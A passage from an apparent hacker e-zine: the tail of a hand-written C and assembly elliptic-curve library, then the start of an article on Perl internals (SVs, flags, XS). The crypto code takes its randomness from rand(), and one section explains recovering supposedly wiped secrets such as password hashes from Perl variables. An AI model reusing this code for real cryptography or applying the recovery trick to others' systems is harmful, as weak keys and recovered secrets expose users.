    0x4400,0x4401,0x4404,0x4405,0x4410,0x4411,0x4414,0x4415,
    0x4440,0x4441,0x4444,0x4445,0x4450,0x4451,0x4454,0x4455,
    0x4500,0x4501,0x4504,0x4505,0x4510,0x4511,0x4514,0x4515,
    0x4540,0x4541,0x4544,0x4545,0x4550,0x4551,0x4554,0x4555,
    0x5000,0x5001,0x5004,0x5005,0x5010,0x5011,0x5014,0x5015,
    0x5040,0x5041,0x5044,0x5045,0x5050,0x5051,0x5054,0x5055,
    0x5100,0x5101,0x5104,0x5105,0x5110,0x5111,0x5114,0x5115,
    0x5140,0x5141,0x5144,0x5145,0x5150,0x5151,0x5154,0x5155,
    0x5400,0x5401,0x5404,0x5405,0x5410,0x5411,0x5414,0x5415,
    0x5440,0x5441,0x5444,0x5445,0x5450,0x5451,0x5454,0x5455,
    0x5500,0x5501,0x5504,0x5505,0x5510,0x5511,0x5514,0x5515,
    0x5540,0x5541,0x5544,0x5545,0x5550,0x5551,0x5554,0x5555 };


void __fastcall lshift2(word* a, word n);


word* __fastcall __reduce(word* c, word* temp) {
    register int i;
    register word T;
    
    if (!deg(&c[SIZE_WORDS]) && deg(c)<=SIZE_BITS)
        goto __reduce_done;

    for (i=SIZE_WORDS2-1;i>=SIZE_WORDS;i--) {
     T = c[i];
        c[i-SIZE_WORDS]   ^= (T<<5)  ^ (T<<7)  ^ (T<<10) ^ (T<<15);
        c[i-SIZE_WORDS+1] ^= (T>>27) ^ (T>>25) ^ (T>>22) ^ (T>>17);
    }
    T = c[SIZE_WORDS-1] >> 27;
    c[0] = c[0] ^ T ^ (T<<2) ^ (T<<5) ^ (T<<10);
    c[SIZE_WORDS-1] = c[SIZE_WORDS-1] & EMPTY_MASK;
__reduce_done:
    return memcpy(temp, c, SIZE_BYTES);
} 

word* polyMul(word* r, word* a, word* b) {
    register int k,j;
    word c[SIZE_WORDS2] = {0};

    for (k=31;k>=0;k--) {
        for (j=0;j<SIZE_WORDS;j++)
            if ((a[j]>>k)&1) 
                polyAddTo(&c[j],b);
        if (k) lshift2(c,1);
    }

    return __reduce(c,r);
}

word* polySqr(word* r, word *a) {
    register word i;
    word c[SIZE_WORDS2] = {0};
    for (i=0;i<SIZE_WORDS;i++) {
        c[2*i]    = POW[(a[i]>>0x00) & 0xFF];
        c[2*i]   += POW[(a[i]>>0x08) & 0xFF] << 0x10;
        c[2*i+1]  = POW[(a[i]>>0x10) & 0xFF];
        c[2*i+1] += POW[(a[i]>>0x18) & 0xFF] << 0x10;
    }
    return __reduce(c,r);
}

word* polyDiv(word *c, word *a, word *b) {
    word t[SIZE_WORDS];
    return polyMul(c,a,polyInv(t,b));
}

word* polyInv(word *r, word* a) {

    register word t;
    register int j;

    word x[5*SIZE_WORDS] = {0},
    *v = &x[1*SIZE_WORDS],
    *u = &x[2*SIZE_WORDS],
    *g = &x[3*SIZE_WORDS],
    *f = &x[4*SIZE_WORDS];

    memcpy(u,a,SIZE_BYTES);

    v[0] = 0x425; 
    v[SIZE_WORDS-1] = 0x08000000;
    g[0] = 1;

inv_loop:
    if (u[0]==1 || u[0]==0) {
        for (j=1;j<SIZE_WORDS;j++)
            if (u[j]) goto inv_run;
        goto inv_done;
    }
inv_run:
    if ((j = deg(u)-deg(v)) < 0) {
        t = (word) v; v = u; u = (word*) t; // v <-> u
        t = (word) g; g = f; f = (word*) t; // g <-> f
        j = -j;    }

    memcpy(x,v,SIZE_BYTES);
    lshift(x,j); 
    polyAddTo(u,x);  // u = u + v>>j

    memcpy(x,f,SIZE_BYTES); 
    lshift(x,j); 
    polyAddTo(g,x);  // g = g + f>>j

    goto inv_loop;
inv_done:

    memcpy(r, g,SIZE_BYTES);
    return r;
}

__declspec(naked) word* __fastcall polyAddTo(word* a, word* b) {
    __asm {
        mov  edi, ecx
        mov  ecx, SIZE_WORDS
    _add_to_loop:
        mov  eax, [edx+4*ecx-4]
        xor  [edi+4*ecx-4], eax
        loop _add_to_loop
        mov  ecx, edi
    ret
} }


word* __fastcall polyAdd(word* c, word* a, word* b) {
    __asm {
        mov  ebx,ecx
        mov  esi,b
        mov  ecx, SIZE_WORDS
    _add_loop:
        mov  eax, [edx+4*ecx-4]
        xor  eax, [esi+4*ecx-4]
        mov  [ebx+4*ecx-4], eax
    loop _add_loop
} }


_declspec(naked) void __fastcall lshift(word* a, word n) { 
    __asm {
        test edx,edx
        jnz  _lshift_nonzeroshift
        ret
_lshift_nonzeroshift:
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _lshift_go
             mov  ecx, SIZE_BYTES
             sub  ecx, eax
             js   _lshift_zero
             add  edi, eax
        _lshift_preloop:
             dec  ecx
             mov  bl,  byte ptr[esi+ecx]
             mov  byte ptr [edi+ecx], bl
             test ecx, ecx
             jne  _lshift_preloop
             mov  ecx, eax
        _lshift_zloop:
             mov  byte ptr [esi+ecx-1],0
             loop _lshift_zloop
;;             add  esi, eax
             shl  eax, 3
             sub  edx, eax
             jz   _lshift_done
_lshift_go:
        mov  ecx,SIZE_WORDS
        mov  edi,esi
        clc
_lshift_subloop:
        rcl  dword ptr [edi], 1
        inc  edi
        inc  edi
        inc  edi
        inc  edi
        loop _lshift_subloop
        dec  edx
        jne  _lshift_go
_lshift_done:
        ret
_lshift_zero:
        mov  ecx,SIZE_BYTES
_lshift_zloop2:
        mov  byte ptr [esi+eax],0
        loop _lshift_zloop2
        ret
} }



_declspec(naked) void __fastcall lshift2(word* a, word n) { 
    __asm {
        test edx,edx
        jnz  _lshift2_nonzeroshift
        ret
_lshift2_nonzeroshift:
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _lshift2_go
             mov  ecx, SIZE_BYTES2
             sub  ecx, eax
             js   _lshift2_zero
             add  edi, eax
        _lshift2_preloop:
             dec  ecx
             mov  bl,  byte ptr[esi+ecx]
             mov  byte ptr [edi+ecx], bl
             test ecx, ecx
             jne  _lshift2_preloop
             mov  ecx, eax
        _lshift2_zloop:
             mov  byte ptr [esi+ecx-1],0
             loop _lshift2_zloop
;;             add  esi, eax
             shl  eax, 3
             sub  edx, eax
             jz   _lshift2_done
_lshift2_go:
        mov  edi, esi
        mov  ecx, SIZE_WORDS2
        clc
_lshift2_subloop:
        rcl  dword ptr [edi],1
        inc  edi
        inc  edi
        inc  edi
        inc  edi
        loop _lshift2_subloop
        dec  edx
        jne  _lshift2_go
_lshift2_done:
        ret
_lshift2_zero:
        mov  ecx,SIZE_BYTES2
_lshift2_zloop2:
        mov  byte ptr [esi+eax],0
        loop _lshift2_zloop2
        ret
} }


_declspec(naked) void __fastcall rshift(word* a, word n) { 
    __asm {
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _rshift_go
             push eax
             mov  ebx, SIZE_BYTES
             sub  ebx, eax
             js   _rshift_zero
             xor  ecx, ecx
             add  edi, eax
        _rshift_preloop:
             mov  al,  byte ptr[edi+ecx]
             mov  byte ptr [esi+ecx], al
             inc  ecx
             cmp  ecx, ebx
             jl   _rshift_preloop
             mov  edi,esi
             add  edi,ebx
             pop  ecx
             mov  eax,ecx
        _rshift_zloop:
             mov  byte ptr [edi+ecx-1],0
             loop _rshift_zloop
             shl  eax, 3
             sub  edx, eax
             jz   _rshift_done
_rshift_go:
        mov  ecx,SIZE_WORDS
        mov  edi,esi
        sub  edi,4
        shr  dword ptr [edi+4*ecx],1
        dec  ecx
_rshift_subloop:
        rcr  dword ptr [edi+4*ecx], 1
        loop _rshift_subloop
        dec  edx
        jne  _rshift_go
_rshift_done:
        ret
_rshift_zero:
        mov  ecx,SIZE_BYTES
_rshift_zloop2:
        mov  byte ptr [esi+eax],0
        loop _rshift_zloop2
        ret
} }



word* polyGen()  {
    return calloc(SIZE_WORDS,sizeof(word));
} 

word* polyRand() {
    register int i;
    register word* p = calloc(SIZE_WORDS,sizeof(word));
    
    for (i=SIZE_WORDS-1;i>=0;i--) 
        p[i] = (rand()<<16) | rand();
    p[SIZE_WORDS-1] &= EMPTY_MASK;
    return p;
}



int deg(word *a) {
    __asm {
        mov edx, a
        mov ecx, SIZE_WORDS
_deg_loop:
        mov ebx, [edx+4*ecx-4]
        test ebx,ebx
        jnz _deg_done
        loop _deg_loop
        xor eax,eax
        jmp _deg_zero
_deg_done:
        finit
        push 1
        fild dword ptr [esp]
        mov dword ptr [esp],0
        push ebx
        fild qword ptr [esp]
        fyl2x

        fstcw word ptr [esp]  ; round down
        fstcw word ptr [esp+2]
        and word ptr[esp],0xF3FF
        or word ptr[esp], 0x400
        fldcw [esp]
        frndint
        fldcw [esp+2]

        fistp qword ptr [esp]
        pop ebx
        pop eax
        mov eax,32
        dec ecx
        mul ecx
        add eax,ebx
        inc eax
_deg_zero:

    }
}

__declspec(naked) int __fastcall polyCmp(word* a, word* b) {
    __asm {
        mov edi, ecx            ; edi=a/edx=b
        xor eax, eax
        mov ecx, SIZE_WORDS
__loop_cmp:
        mov  ebx, [edi+ecx*4-4] ; ebx = a[n]
        mov  esi, [edx+ecx*4-4]    ; esi = b[n]
        test ebx,ebx
        jz   __a_n_zero
        test esi,esi
        jnz  __b_n_notzero
        inc  eax
        ret
__b_n_notzero:
        cmp  ebx, esi
        jz   __next_cmp
        jl   __lesser_cmp
        inc  eax
        ret
    __lesser_cmp:
        dec  eax
        ret
    __next_cmp:
        loop __loop_cmp
        ret
__a_n_zero:
        test esi,esi
        jz   __next_cmp
        dec  eax
        ret
} }

__declspec(naked) int __fastcall polyIsZero(word* a) {
    __asm {
        mov edi, ecx            ; edi=a/edx=b
        xor eax, eax
        mov ecx, SIZE_WORDS
__iszero_loop:
        cmp  [edi+ecx*4-4],0
        jne  __is_not_zero
        loop __iszero_loop
        inc  eax
__is_not_zero:
        ret
} }

word* dup(word* a) {
    register word* b = polyGen();
    memcpy(b,a,SIZE_BYTES);
    return b;
}


---------------------------------<curve.h>---------------------------------
 
#ifndef _CURVE_H
#define _CURVE_H

#include "binfields.h"

// We will use, by default, the Koblitz Curve
// y2 + xy = x3 + 1

word*  pointMul(word* R, word* k, word* P);

word*  pointAdd(word* R, word* P, word* Q);
word*  pointDbl(word* R, word* P);
word*  pointNeg(word* P);
word*  pointZero(word* P);

int    isZero(word* P);
int    isValidPoint(word* P);
int    pointCmp(word* P, word* Q);


word*  pointDup(word* P);
word*  pointGen();
word*  pointGenZero();

#endif

---------------------------------<curve.c>---------------------------------

#include <stdlib.h>
#include <memory.h>
#include "curve.h"

#define Y(__P) (&__P[SIZE_WORDS])
#define X(__P) __P


word PGEN[]= {
    0xA01C8972,0xE2945283,0x4DCA88C7,0x988B4717,0x494776FB,0xBBD1BA39,
    0xB4CEB08C,0x47DA304D,0x93B205E6,0x43709584,0x01841CA4,0x60248048,
    0x0012D5D4,0xAC9CA297,0xF8103FE4,0x82189631,0x59923FBC,0x026EB7A8,
    0x3EF1C7A3,0x01CD4C14,0x591984F6,0x320430C8,0x7BA7AF1B,0xB620B01A,
    0xF772AEDC,0x4FBEBBB9,0xAC44AEA7,0x9D4979C0,0x006D8A2C,0xFFC61EFC,
    0x9F307A54,0x4DD58CEC,0x3BCA9531,0x4F4AEADE,0x7F4FBF37,0x0349DC80
};

int isValidPoint(word* P) {

    // y2+xy=x3+1
    
    word t[SIZE_WORDS] = {0},
         l[SIZE_WORDS] = {0};

    polyAdd(t,X(P),Y(P));
    polyMul(t,t,Y(P));  // left side

    polySqr(l,X(P));
    polyMul(l,l,X(P));
    l[0] ^= 1;          // right side

    return !polyCmp(t,l);
}

word* pointDup(word *P) {
    return memcpy(malloc(SIZE_WORDS2*sizeof(word)),P,SIZE_BYTES2);
}
    
int pointCmp(word* P, word* Q) {
    switch (polyCmp(X(P),X(Q))) {
    case 1: return 1;
    case -1: return -1;
    default: return polyCmp(Y(P),Y(Q));
} }

word* pointGen() { 
    word* P = malloc(SIZE_WORDS2 * sizeof(word)); 
    return memcpy(P,PGEN,SIZE_BYTES2);
}

word* pointGenZero() {
    word* pt = calloc(SIZE_WORDS2, sizeof(word));
    pt[SIZE_WORDS-1] = 1 << 31;
    return pt;
}

int isZero(word* P) {
    return (P[SIZE_WORDS-1]>>31);
}

word* pointZero(word* P) {
    memset(P,0,SIZE_BYTES2);
    P[SIZE_WORDS-1] = 1 << 31;
    return P;
}

word* pointDbl(word* R, word* P) {

    word t1[SIZE_WORDS] = {0};
    word t2[SIZE_WORDS];

    if (isZero(P)) 
        return (R==P)?R:memcpy(R,P,SIZE_BYTES2);

    else if (!polyCmp(t1,P)) return pointZero(R); 


    polyDiv(Y(R),Y(P),X(P));
    polyAddTo(Y(R),X(P));
    R[SIZE_WORDS] ^= 1;

    polySqr(t2,X(P));      // t2 = x2
    polyInv(t1,t2);
    polyAddTo(t1,t2);      // t1 = x'
    polyMul(Y(R),Y(R),t1);
    polyAddTo(Y(R),t2);
    
    return memcpy(R,t1,SIZE_BYTES);
}

    

word* pointNeg(word* P) {
    if (isZero(P)) return P;
    polyAddTo(Y(P),X(P));
    return P;
}


word* pointAdd(word* R, word* P, word* Q) {

    word l[SIZE_WORDS],
         x[SIZE_WORDS],
         y[SIZE_WORDS];

    if (isZero(Q)) {
        if (R==P) return R;
        else return memcpy(R,P,SIZE_BYTES2);
    } else if (isZero(P)) {
        if (R==Q) return R;
        else return memcpy(R,Q,SIZE_BYTES2);
    } else {

        if (!pointCmp(P,Q)) {
            return pointDbl(R,P);
        } else {
            word* N = pointNeg(pointDup(Q));

            if (!pointCmp(P,N)) {
                pointZero(R);
                free(N);
                return R;
            } else free(N);

            polyAdd(l, Y(P), Y(Q));
            polyAdd(x, X(P), X(Q));
            polyDiv(l, l, x);
            polyAddTo(x,polySqr(y,l));
            polyAddTo(x,l);

            polyAdd(y, x, X(P));
            polyMul(y, y, l);
            polyAddTo(y, x);
            polyAdd(Y(R), y, Y(P));

            return memcpy(X(R),x,SIZE_BYTES);
        }
    }
}


word* pointSub(word* R, word* P, word* Q) {
    word* N = pointNeg(pointDup(Q));
    pointAdd(R,P,N);
    free(N);
    return R;
}


word* pointMul(word* R, word* k, word* P) {

    register int i;
    word* Q = pointDup(P);

    for (i=deg(k)-1;i>=0;i--) {
        pointDbl(Q,Q);
        if ((k[i/32]>>(i%32))&1) 
            pointAdd(Q, Q,P);
    }
    
    memcpy(R,Q,SIZE_BYTES2);
    free(Q);
    return R;
}


--------------------------------[   EOF   ]--------------------------------

[==========================================================================]
[-----------------------------[ Breaking Perl ]----------------------------]
[==========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########*¯*######                                     
  *#########{   }####* 
   ##########._.#####
    ################ 
     *############*       By: zshzn
       ¯==####==¯      Email: zshzn@hackaholic.org



-[ 0.0 ]---------------------------------------------------[ Contents ]-----


  1.0 Introduction

  2.0 The SV
    2.1 Introduction to SVs 
    2.2 Dual Types Challenge
    2.3 Data Recovery Vulnerabilities
 
  3.0 XS
    3.1 Introduction to XS
    3.2 Using XS
    3.3 Breaking undef
    3.4 The Perl API
    3.5 Evil strict

  4.0 Magic
    4.1 Introduction to Magic
    4.2 Changing Special Variables
    4.3 Our Own Magic
    4.4 A Magic JAPH

  5.0 Closing
    5.1 More Topics
    5.2 Sources
    5.3 Shouts

  6.0 Appendix - Flag.xs



-[ 1.0 ]-----------------------------------------------[ Introduction ]-----


This article is about perl internals. This article will teach you about how
things work and how to manipulate them. Hopefully this article will inspire
you to teach yourself further and take up the hobby. If you do not code
Perl, this could be a good time to start. If you do code Perl, this could be
a very important series of lessons that could give you a greater
understanding of the language.

The first thing to remember about Perl is that it is built with C. It is a
series of extensions creating a new language. C programmers maintain that
anything that can be done in Perl can be done in C. This is rightly so, and
backed by the very nature of perl, the fact that it is, after all, written
in C. However, any Turing-complete language can do what either can. Perl is
significantly different from C to an extent that it must be viewed as
unique. However, the connection is central to this article, and it is this
connection that we explore.

Within the context of this topic I refer to a "user" as someone using Perl
to program. The user gets to use Perl as a tool, without knowing how it is
implemented and how it works. You only need to know how to manage the
features available.

Perl embraces a level of abstraction. This abstraction lives in its core and
is used through every increasing level. To emulate Perl directly in C, this
abstraction has to be done. To emulate advanced features one either
implements directly, uses a library, or does not implement at all. One
example is using regular expressions. In C you can use PCRE, Perl Compatible
Regular Expressions. It's a rather large library. This represents a direct
abstraction away from the simplicity of C. However, one is still very
limited. Although PCRE allows much more than one would sensibly implement
individually in C, it falls far short of Perl's regular expressions.
Usually, a C coder will not use regular expressions at all, and will limit
their programming to the tools they have available. C lacks the elemental
high level required to allow regular expressions that are more than a shadow
of Perl.


-[ 2.0 ]-----------------------------------------------------[ The SV ]-----


---[ 2.1 ]-------------------------------------[ Introduction to SV's ]-----


So how does Perl do it? The very base of Perl is the SV. An SV is a Scalar
Value. It is a structure that can hold a selection of a type of values,
including various other relevant data. In basics, SVs can store integers,
doubles, and strings. The code managing SVs can be found in sv.h and sv.c,
which makes up a large percentage of the overall perl code. 

Taken directly from sv.h:

struct STRUCT_SV {      /* struct sv { */
    void*   sv_any;     /* pointer to something */
    U32     sv_refcnt;  /* how many references to us */
    U32     sv_flags;   /* what we are */
}; 

Please note that I am taken definitions from perl 5.8.8, the latest stable
version of perl. I realize that between then and now, perl 5.9.3, the
current development version, they have messed with some things, and overall
structures are a little bit more complicated. Also note that I refer to it
as "perl" when talking about the source code and application. The language
is "Perl", capitalized. I may capitalize perl to start a sentence. I also
may at times make the mistake of extracting from perl 5.9.3 instead of
5.8.8, depending on which machine I am on and my level of patience.


================================================== Obscure Reference Note ==

Please note that perl 5.9.3 does NOT mean we are seven updates away from
perl 6. You know what we are seven updates away from? perl 5.10. And it
looks to be coming along pretty nicely. Perl 6 is kind of here already, in
PUGS form, but the official, Parrot-based form is a while off, if it is
coming at all. 

============================================================================

Obviously sv_refcnt is just a number, usually 1. When this hits 0 we expect
our SV to disappear, it no longer exists to us. If some secondary SV is a
reference to an original one, we can make sure our SV doesn't disappear when
we still want it. This is Perl's reference-based garbage collection. The
first three bytes of sv_flags hold 24 one-bit flags. These define what types
of data it holds, how we are to use it, and a lot of little things that
usually aren't used. They are #define'd in quite an ugly block early in
sv.h, and I shalln't repeat them here in original form for that reason. 

The last byte of sv_flags represents the type of SV. This is crucial for
sv_any. IVs are integers, NVs are doubles, RVs are references, PVs are
strings. PVIV/PVNV are combinations, and everything else you don't want to
worry about right now.

typedef enum {
    SVt_NULL,   /* 0 */
    SVt_IV,     /* 1 */
    SVt_NV,     /* 2 */
    SVt_RV,     /* 3 */
    SVt_PV,     /* 4 */
    SVt_PVIV,   /* 5 */
    SVt_PVNV,   /* 6 */
    SVt_PVMG,   /* 7 */
    SVt_PVBM,   /* 8 */
    SVt_PVLV,   /* 9 */
    SVt_PVAV,   /* 10 */
    SVt_PVHV,   /* 11 */
    SVt_PVCV,   /* 12 */
    SVt_PVGV,   /* 13 */
    SVt_PVFM,   /* 14 */
    SVt_PVIO    /* 15 */
} svtype;

sv_any is a pointer towards more data. This data is usually another
structure. Before we get directly into sv_any, I would like to explain and
discuss a little bit more.

Despite the ability that an SV represents, we can already see the resource
use involved. Even discarding the other side of sv_any for the moment, we
are allocating 12 bytes to this SV. Four bytes alone to a variable that
usually just holds the value 1. It may seem outragious in the case of an
integer, but it scales well. Let's give an example of an SV. For debugging
output in Perl I use Devel::Peek::Dump and otherwise I use Perl_sv_dump,
which is the precise function wrapped by Dump. Here's an example of a simple
integer.

bash-3.00$ perl -MDevel::Peek -e '$c = 12; print Dump $c'
SV = IV(0x81420ec) at 0x812f4d8
  REFCNT = 1
  FLAGS = (IOK, pIOK)
  IV = 12

The SV type, as stored in the last byte of sv_flags, holds the value 1,
representing an IV, which is an integer value. The flags set are IOK
(integer OK) and pIOK (private integer OK, don't worry about this one yet).
The actual number it stores is 12. Here, have a string example.

bash-3.00$ perl -MDevel::Peek -e '$c = "wer"; print Dump $c'
SV = PV(0x812f9d8) at 0x812f4d8
  REFCNT = 1
  FLAGS = (POK, pPOK)
  PV = 0x813d128 "wer"\0
  CUR = 3
  LEN = 4

This one is a PV, Pointer Value (String Value, SV, is already taken
obviously). Type value 4. Flags POK and pPOK. Value "wer", and it is null
terminated to be safe for C functions. CUR is the length of the data itself,
LEN is the length of the data space delegated for it. This will not always
be just one more than CUR.

Let's get into some fun.

bash-3.00$ perl -MDevel::Peek -e '$c = 12; $c = "wer"; print Dump $c'
SV = PVIV(0x81309e8) at 0x812f4d8
  REFCNT = 1
  FLAGS = (POK, pPOK)
  IV = 12
  PV = 0x813d130 "wer"\0
  CUR = 3
  LEN = 4

Notice anything odd? We have BOTH an IV and a PV. This is not an IV or a
PV, this is a PVIV, type 5. However, it will always be treated as a string,
because POK is set, and IOK is not. 

================================================== Obscure Reference Note ==

I could use $a as a test variable. Or $b. But I am trying to avoid that.
Why? Because they are special. Not very special, but I don't want to get
caught on anything funky. And I also do not want to confuse any readers,
who might explain odd behavior, incorrectly, on the fact that I am using
$a or $b. $a and $b are used internally by sort(), and the key difference
is that they don't have to be declared with "my" to work under strict.
Otherwise they are normal.

============================================================================



---[ 2.2 ]-------------------------------------[ Dual Types challenge ]-----


Recently I tempted people with the following:

bash-3.00$ perl test.pl

This is what you're about to see:

use strict;
use Flag qw(int_me);
my $i;
print "Insert a number: ";
chomp($i = int(<STDIN>));
$i = "This is a string";
int_me($i);
print '$i = ', $i, "\n";

Insert a number: 1337
$i = 1337 
bash-3.00$

Please note that the above, excluding the prompt lines, is the output of a
program. The program itself is that code, plus a bit of code to print that.
In the above case you are prompted for a number, and then the program prints
it. At first people ask where they can find Flag. I tell them they can't,
it's homegrown, after all that is the trick. They wonder if it is a syntax
trick, or if int_me() just assigns 1337 to $i. However I assure them it is
neither. I allow the user to submit an integer to $i. I have to int() this,
because otherwise <STDIN> returns a string of course and this ends up in PV
and $i is a PV. Due to the int() $i is a regular IV, with an IV value and
flags IOK and pIOK. I then change the value of $i. Then I do something
special in int_me(), and suddenly not only is $i a number, but is the exact
number the user inputted originally, despite the impression that that number
should have disappeared. 

bash-3.00$ perl -MDevel::Peek -e '$c = <STDIN>; print Dump $c'
1337
SV = PV(0x812f9d8) at 0x812f4d8
  REFCNT = 1
  FLAGS = (POK, pPOK)
  PV = 0x81431d8 "1337\n"\0
  CUR = 5
  LEN = 80
bash-3.00$ perl -MDevel::Peek -e '$c = int(<STDIN>); print Dump $c'
1337
SV = IV(0x81420f4) at 0x812f4d8
  REFCNT = 1
  FLAGS = (IOK, pIOK)
  IV = 1337

The above examples show the necessity behind the int() wrapper around
<STDIN>. What int_me() does is change flags from POK to IOK, and Perl will
thereafter access the IV value instead of the PV value. This cannot be done
in Perl itself, how I do so will be explained later. By the way, I of course
wrote stringify() and double_or_nothing() to go with int_me(). All of my XS
examples in this document can be found in Appendix A.

Why do we save the excess values, especially if we cannot use the old values
again? Because otherwise we would have to reallocate the structure, and that
usually would not be worth it. It would be worth it perhaps when going from
a very long string to something else, however doing that itself is a bad use
of a variable, both for clarity and for this reason. As well, the memory
freed might not be useful anyways. 

================================================== Obscure Reference Note ==

Yet again, a perl user should not have to worry about perl internals. Perl
is a high-level language, the user optimally should not have to be aware of
how everything is implemented. In Perl, things work as expected. So, using a
very long string in a variable and then assigning that variable to a small
string or a number, thereby using excessive memory, should not be held
against a user on that basis. The user does not have an obligation to know
that. However, as mentioned above, it could perhaps be held against the user
for poorly using variables, or doing so in an illogical fashion.

============================================================================ 

So back to sv_any. It is just a pointer towards more data, the data
structure applicable. In the above dual variable case, a PVIV system, this
is the structure:

struct xpviv {
    char *  xpv_pv;     /* pointer to malloced string */
    STRLEN  xpv_cur;    /* length of xpv_pv as a C string */
    STRLEN  xpv_len;    /* allocated size */
    IV      xiv_iv;     /* integer value or pv offset */
};

Very simple. As you can realize, an xpv is just that minus the IV field.
These structures can easily be interpreted by Perl functions, because they
recognize the type value of the sv_flags member of the host structure. As
well, they are generally designed as extensions of more base SV types.

SVs can scale to hold numbers, strings, globs, and a shitload of weird
things that you do not want to trouble your mind over right now. The other
main Perl data types are AVs and HVs. Those are Array Values and Hash Values
respectively. Both are more complicated structures, but in essence they act
as lists of SVs. The SV is the base of the language, and it in itself is
what makes Perl a much higher level language than C.
 


---[ 2.3 ]----------------------------[ Data Recovery Vulnerabilities ]-----


You may be reading this with some expectation of something to gain,
security-wise. I mean, why learn something if it can't help you hack? Fun?
What's that? Anyways. There are some obscure tricks that could come up from
this unexpected behavior. If you have code access, even limited, you might
be able to "use Devel::Peek; print Dump $important_var;". A good example
could be one of the many Perl shells out there. Perhaps it drops privileges
after authorization but not the current interpreter, naturally. Perhaps
there are some variables that have an important value that they thought they
wiped.

print "login: ";
chomp(my $user = <STDIN>):
print "password: ";
chomp(my $password = <STDIN>);
$hashed = get_hash($user);
set_user($user) if hash($password, $hashed); 
$hashed = 0; #bye bye hashed password from /etc/shadow!
set_privs_to($user);
print $motd;

Something along that line, just not as silly and a bit more complicated. 

================================================== Obscure Reference Note ==

psh, the Perl SHell, the popular one that occupies sourceforge under that
name, is a highly advanced shell. It includes over 10,000 lines of Perl and
has been long in the making. Do not expect such simple code or foolish
mistakes from them. I am just giving examples here. Then again, I'm not
giving an express guarantee that they don't have foolish mistakes. Just
don't expect it. 

============================================================================

Obviously you can access $hashed and recover the root password hash,
regardless of success or not. Naturally you might want to avoid this by
undef()ing your variable first. In this case, that works. However, it turns
out undef() doesn't entirely remove the variable, nor the IV or NV value,
nor the type value, just the PV and any flags. So if it was an important
number that was saved, say, in the event of RSA key generation, it could be
recoverable. 

bash-3.00$ perl -MDevel::Peek -e '$c = 5; undef $c; print Dump $c'
SV = IV(0x81420f4) at 0x812f4d8
  REFCNT = 1
  FLAGS = ()
  IV = 5
bash-3.00$ perl -MDevel::Peek -e '$c = 5; $c = 5**50; undef $c; print Dump
$c'
SV = PVNV(0x8131e08) at 0x812f4d8
  REFCNT = 1
  FLAGS = ()
  IV = -1
  NV = 8.88178419700125e+34
  PV = 0

Funky shit eh? You'd think they would go all the way. If you really, really,
want to clear the values in a variable, here is some code that does so. But
you'll have to read further to find out how to use it.

SV *
sv_my_clear(scalar)
    SV* scalar
    CODE:
        sv_setiv(scalar, 0);
        sv_setnv(scalar, 0);
        sv_setpv(scalar, "");
        scalar->sv_flags = 0;

Or you can use the Perl API, which is a smarter idea, with sv_clear or
sv_free.

Alternatively, if you need to revert the value back to a string or an
integer, you would need enough access to setup a relevant module (more on
this below), and use int_me(), stringify(), or something of that sort.

These might seem obtuse. Very obtuse. But they are the kind of tricks that
it is good to have in your pocket. Those tricks add up, and eventually pay
themselves back.


-[ 3.0 ]---------------------------------------------------------[ XS ]-----



---[ 3.1 ]---------------------------------------[ Introduction to XS ]-----

<fish> is it my fault that we're all about guts now?

XS is, well, a glue language of its own. Basically it is a way to use C in
Perl, and XS is mostly C code wrapped with flags telling xsubpp how to put
it together. We use XS to do two things. The first is to write functions in
C for things that we would rather not do in Perl, yet we still need to use
in Perl. The second is to mess with Perl internals themselves. The xsubpp
compiler generates a library that can be loaded in Perl modules. XS converts
Perl arguments to C arguments, executes the C function, and returns values
to Perl. It can do a few tricks too, but that is the gist of it.

I would not want to keep you waiting. Have some more XS, the card up the
sleeve of the int_me() trick.

SV*
int_me(SV* scalar)
    CODE:
        SvIOK_only(scalar)

Most of that is self-explanatory. You may ask, "but zshzn, doesn't this just
wrap another function of yours, SvIOK_only(SV* scalar), and you really
haven't shown us anything???" and I will respond "no". SvIOK_only is an
internal function, part of the Perl API, and I will get to that later. The
line-break after "SV*" is needed. Paramaters can be put in either that
format or K&R style.

The earlier example (sv_my_clear) is easy to explain as well. I use three
internal functions to safely change the IV, NV, and PV values stored, and
then I directly set sv_flags to 0.

You may want a slightly more volumous example. Below is a complete file, we
will call it Flag.xs. This is my Flag module. Calm down Stephen Harper, I
said FLAG module.

================================================== Obscure Reference Note ==

Stephen Harper is, at the time of writing, the current Prime Minister of
Canada. He is a bit more "right wing" than most successful Canadian
politicians. He draws comparisons to George Bush Jr. here. However he is
much less "right wing" than the centre-left of the American Democratic
party. Regardless, jokes abound. In a recent television commercial, famous
Canadian political comedian Rick Mercer said "Today is Flag day. Calm down
Stephen Harper, I said FLAG day." suggesting that Stephen Harper would be
upset by a supposed "Fag day" supporting homosexual rights. Or something.
Yea, the joke wasn't too good in the first place, and my copy is just that
much worse. But if I didn't say anything about it here, you might be lead to
guess that I wrote something witty and specific. So just go with that.

============================================================================

#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0 

MODULE = Flag PACKAGE = Flag

SV *
sv_rm_flag(scalar, flag)
    SV* scalar
    char* flag
    CODE:

 char flags[24][10] = { 
    "PADBUSY",  "PADTMP",
    "PADMY",    "TEMP", 
    "OBJECT",   "GMAGICAL",
    "SMAGICAL", "RMAGICAL",
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
    "AMAGIC",   "SHAREKEYS",
    "LAZYDEL",  "VALID"
};
int i, j;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        j |= (int)pow(2,i+8);
        j = ~j;
        scalar->sv_flags &= j;
        break;
    }
}
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );
    Perl_sv_dump(scalar);
}

Part of the way that is formatted is crucial. Everything before the first
MODULE flag is raw C and you can write direct C functions, and everything
afterwards has to be XS-style. There has to be some spacing before the first
line of code in the CODE section. There doesn't always have to be a CODE tag
